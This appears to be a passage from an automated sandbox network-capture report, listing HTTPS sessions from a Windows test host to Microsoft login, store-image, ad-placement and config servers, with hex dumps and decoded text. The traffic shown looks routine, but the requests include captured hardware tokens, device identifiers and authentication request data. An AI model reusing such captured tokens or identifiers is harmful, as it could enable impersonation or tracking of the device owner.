16 39 d8 ad 2c 73 31 a4 1b 9a f6 a2 a4 83 8a f2 fe 41 c1 79 1d 9f 31 e2 57 72 d8 f2 4d ba 75 9a de 78 d8 ab 23 a1 a8 e9 
f6 91 87 a6 44 6a ac 88 59 1c 15 62 30 d1 bf 6d 7b 57 23 da 2e 36 4d ea 08 ee 36 cb 98 99 24 8d c5 43 29 1f b8 8c 88 61 
46 56 01 94 86 00 8f e7 d7 cb 58 78 f8 cf 95 b9 3f 8d c3 35 6c 41 c7 fc 89 9a e1 51 ec 1c a8 e7 ce 8d 8b 64 96 54 91 a5 
91 cd fa 5c 59 00 84 d7 3d 53 d3 7a af 5f ae 3e 01 cb 1f 9a f0 3d 93 99 4b 18 86 5d db 67 b3 bc 68 c7 44 6b 9b 78 e6 64 
1f 05 67 20 7c 00 c7 12 79 2e ce bb 07 24 dc 36 24 6e e2 
Data Ascii: +g9UUUUWUUU_^7Wd)LD9yC>a}\\<YfFDz*\g*9,s1Ay1WrMux#DjYb0m{W#.6M6$C)aFVXx?5lAQdT
\Y=Sz_>=K]ghDkxdg |y.$6$n

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:37 UTC 1095 IN Data Raw: 4e 1f 5d 87 f8 49 8c d8 8e 4c c6 0a b2 c7 9c b9 5b 15 b2 c6 71 0a 21 39 a2 46 cf c0 f8 d0 8f 7d ce 63 61 28 44 
52 8a 4d b3 a1 43 0a b7 55 8a 6d cd e8 7f c9 38 27 15 e3 fb b3 6e be f1 4d 1b c8 1c b4 7b 65 8c c9 71 73 21 fe 4b 9b b5 
1d ab 75 07 22 90 09 64 3d 3b a9 4c 2e b4 b8 bd bd 91 6d 38 c3 15 90 fd a9 e5 05 55 3e 29 16 65 d8 f5 05 fd 23 f9 0e 09 
0c 07 c2 9e 48 64 d4 ce ae 79 2a b7 37 e4 89 ea ae ca b9 1b 23 c3 a8 0b 90 cf 96 20 1d ac 58 36 36 a4 c8 a6 d6 c5 ae 
90 45 74 70 83 b2 26 91 a8 8a ce da 2b 7a 80 ef de ff 00 6c ea bf 92 6d db 57 c8 71 d8 4d 22 b3 5b 89 55 15 49 a1 2e 91 
88 55 cb 52 85 9c b3 1f 3a e7 87 e8 b8 56 e2 91 77 c4 dd fd c1 89 ac b3 28 d4 c7 a7 a7 ed 11 42 72 cc 0f 0a 53 00 f7 97 
78 0c 7c 4c 80 e3 ec d7 c8 3f 27 79 4f 3d c8 14 67 a9 e2 
Data Ascii: N]IL[q!9F}ca(DRMCUm8'nM{eqs!Ku"d=;L.m8U>)e#Hdy*7# X66Etp&+zlmWqM"[UI.UR:Vw(BrSx|L?'yO=g

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

48 192.168.2.4 49810 40.126.31.67 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:59 UTC 1101 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com

2022-05-26 11:45:59 UTC 1102 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-05-26 11:46:00 UTC 1111 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 26 May 2022 11:44:59 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: bfc60cf7-9ec2-4149-b2e6-b6ade77657da
PPServer: PPV: 30 H: BL02EPF000016AD V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 26 May 2022 11:45:59 GMT
Connection: close
Content-Length: 11093

2022-05-26 11:46:00 UTC 1111 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP
Destination
Port

Process

49 192.168.2.4 49811 40.126.31.67 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:59 UTC 1101 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com
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2022-05-26 11:45:59 UTC 1106 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-05-26 11:46:00 UTC 1122 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 26 May 2022 11:44:59 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 329c566e-0c91-42c4-8593-49082e03b4fc
PPServer: PPV: 30 H: BL02PF1DC1A0F70 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 26 May 2022 11:45:59 GMT
Connection: close
Content-Length: 11093

2022-05-26 11:46:00 UTC 1123 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.4 49722 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:28 UTC 66 OUT GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-
6c55c1b655ff?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:28 UTC 66 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3995
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY"
MS-CV: j3ZlnqhXhku72AJi.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 66 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 
15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 
97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d 
d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 c
a 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 
14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 
Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID Source IP Source Port Destination IP
Destination
Port

Process

50 192.168.2.4 49812 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:04 UTC 1134 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220526T114559Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=4aefb9ce82414c309fd50462ad7d2ded&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1531773&metered=false&nettype=ethernet&npid=sc-
338389&oemName=dchdpw%2C%20Inc.&oemid=dchdpw%2C%20Inc.&ossku=Professional&smBiosDm=dchdpw7
%2C1&tl=2&tsu=1531773&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAbwrbtMyfWYS5LvcRdrN/YSSKm7T30Or
y91THhxVtQ/u1C3XsQR1j/Gul4xhrmxkJ/gRWPmUWRRJjWEonDG3ItND8f5ZyKAKn68VfEM82j6MiB1nRrIPc5mcvr
5ppuO3MEO3yfUDxhgPzM1q2X7H6CJOKTrKEEZtndFDkdCLWN6yKLyBxwSDWaxcfmhc5AJhQpozniuJsgoCeIUxhqim
nMEUPBEwYC5+lMDPYZgC/+mKsowcqL91dribsrM4GGSYJREfBbXzYBwh5TqEpzN6Vh2rv4EyZqbMSZduX6HxpSlHnr
UoW4HxeMqwv68R+xcUcl1lb/NhkRpvR55/LtRTIwUDZgAACOXYsDpcd+FbsAEZgFyCIJf7AMEhmVsQI7CJNBsx1FsB
JJExFGguvnAOi/SHHvVJc7NQpodB2j2TLPIPcTKqICi4CkorOVsbK3xP99Z77/WJ7w05fvan2XtdlE/Wrbq1hleWA8
B0ZCDjwWcDoFY29FzLlvOQ7Xw6e1O1qmhwu6Cm0OtaITUgO7yEuNTaDXgN7PtVHWPLnsjJ7bX2wLxnK7dgderuA1hb
9mCWnCI6bNR2raNpGrSf0um26og0EJ+KGevRUMPmw0xQjHDj7I4HAHkzFf1JtmkcJHatploP8ydbeo/dzo3lITpE/X
41fmjCli5hr2cGbm4p8Iu/V999IoLolvTkdA/lmtU+P8uUpgG+cIDvnARNwdPuMZxY+4Fm5jRqA9WGS+Ty+SvD7gIo
sOI1Id4Yu4ptiN6H6tggaL5FDPRlWp/JxBsmqk8WeUMp7kMRXgCrAKJmqB3avzo2t9lmP232tukV4Pve99JdL7O+0+
iLrUblDLcMSDEwqGtEMfCD/qCmplrMxiqonJvk0NMCVHEe4HMFFlRozQM0NfbGHSFLnUinvmkGSuP3/++asME0vSlN
8fAzaP/aAQ==&p=
Cache-Control: no-cache
MS-CV: Uk/T/jIkQkanI6jT.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-26 11:46:04 UTC 1138 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3050
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: Tlzrv8/m06W61ya0iuf6J4wUelCMsnf15f2KRZXhadycZs+D1//dFe0SufV7I/t1bFTVqt18tQ+SgupK9kH5d2z1Q
fs1lRexuHBZB4HxFa6LlbnqtPUshLlFj3o0b5m78qRmNQ57YH6nwbrP8YNiJ/5ycNrZY+DOB/UR+gkTPmvi38W/L/g
ODnY87IT19CAQHpHdQ3ut/TFCHCQRazwYohvnwziTiw1pMcEN95YEALmuwwlgJWEWEt6EqjKIWjTQzsadsbfiHERgR
NqQDVq8hgVVEgwUl7+M9l/ID07sXd6Pf9bmdZbRHJXcjgA7MoMFLhjcxXpPPLytDZD/V7B6Mw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:46:04 GMT
Connection: close

2022-05-26 11:46:04 UTC 1139 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID Source IP Source Port Destination IP
Destination
Port

Process

51 192.168.2.4 49813 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:04 UTC 1136 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220526T114559Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=4ff0e2fb91104e73a61123edaa6fd4ab&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1531773&metered=false&nettype=ethernet&npid=sc-
280815&oemName=dchdpw%2C%20Inc.&oemid=dchdpw%2C%20Inc.&ossku=Professional&smBiosDm=dchdpw7
%2C1&tl=2&tsu=1531773&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAWURZjUVfKJUTJc9xWC40U
e7muwDrwI0g9XGSCBJ7s24wt/bdW+AtvyjB/0UmutfLwb6Ej3ovlHV67EvJv0UJfg/gD0LCBs8ShW4w7M8ooz1iB8i
gTQ/XH2dXkjuZWXLBD8ERfHeb+t7B1nlAtPC9qNdihjGi9uxmXDN0sybXmX4U5H5bMUxVCPsytti91iLnAdP8TEotH
P//8gXYrqPtSw0vWxr4Vmf6IIxVCA5GJ+I87Ak+YIy+ZD2igumHUTpLiXIoiPxlREa4N1OOapz/HNzW5yDkq735KuO
oc7fNtx1jhbU9NeF8q3hrC751wLjtPQz9YL5Z3eIswP5XNSoCZoDZgAACAcbf248CnIasAEHKTFDi/60v/azXSuyHV
RqYyq/eKh8218+yMCd5SV8cCEGQf3GoqZSPA0SSor8aNxdjm1AyE/J2osNT6Hp3hn81wEiUyPjfwfGfIIu/lwEbajX
uP/w4ZP364sFA6Lpi8kvCZchJTLZjCTRccICvL4WOLRbiK/ZAzu/+zq75LFTKjOjbsWomBSF9VHe33X9IiN4sd57QS
4HIe+ahbMurbU8oFZ9kIPpGzgwFFCWPV5I3y7FXgAC1ZYF5D+IiibJKnEGqdc3qnWVXMXpU95jzBJeApEudwl0dPNa
PfoyXl0e8lOyp3ib0WHF7rsGZCwVPiAMOmFusQEtnPnjRh/32a/2Iri/VZu7wcskwkaYybr6Ne3o+oHQF0PgtxbRiB
wJsSnY6Wm48OOtQlWd8q5XvPydUwm/yyvdpD50A9BqC9356owNCJvu95sXpGybf9x+nARuDdD8OwsHVt
bKuCNiMCLBj/A7oHpzYQeFRi/mgNFmW0kt/lOdpT6DHDAz/Ky3rKa1uK5E4JcTCK5WczmWYawhi/U1na+y7CNnLdLE
gYizD0EBOEC5M21rUX4zlv1b2GrYAQ==&p=
Cache-Control: no-cache
MS-CV: Uk/T/jIkQkanI6jT.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-26 11:46:04 UTC 1142 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3050
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: ArMDVA46JiQ1aAIwUadw+VRMYvOno5FnJgwtm1Nd+IDUGuIAkocPiJcIwRf9P6jKmdza61rFCz+0T3u
sARkw4T1vOSopcnaIMe8fYmgwOcrN6DyaCJc3dpXwK3VEtdynNLwt7Tf9W+nKkJ3WhElgNGSoUE3HMSPbWB/IUuAkV
8wYuejbb6reDpC7FCtqDRErW8ny0F/mvan3H4svP7mIJzn8KcRYC2h08qefjC5wWObyNH4En1E2y3SRsAZAezbrd6r
E1zCZcPc/5KNhyGNgC075tEuZHuouSturDaWsfIxqXa653bwoXmHw6pkwnRovGZD9psG6sWyxc+rZgu6QVg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:46:03 GMT
Connection: close

2022-05-26 11:46:04 UTC 1143 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

52 192.168.2.4 49816 23.35.236.56 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:16 UTC 1146 OUT HEAD /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com
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2022-05-26 11:46:16 UTC 1146 IN HTTP/1.1 200 OK
Content-Length: 55
Content-Type: application/octet-stream
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
Accept-Ranges: bytes
ETag: "f9c874a7f0b9d21:0"
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Cache-Control: public, max-age=27259
Date: Thu, 26 May 2022 11:46:16 GMT
Connection: close
X-CID: 2

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

53 192.168.2.4 49817 23.35.236.56 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:17 UTC 1146 OUT GET /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Thu, 20 Apr 2017 16:10:39 GMT
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com

2022-05-26 11:46:17 UTC 1146 IN HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
ETag: "f9c874a7f0b9d21:0"
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Cache-Control: public, max-age=51141
Date: Thu, 26 May 2022 11:46:17 GMT
Content-Length: 55
Connection: close
X-CID: 2

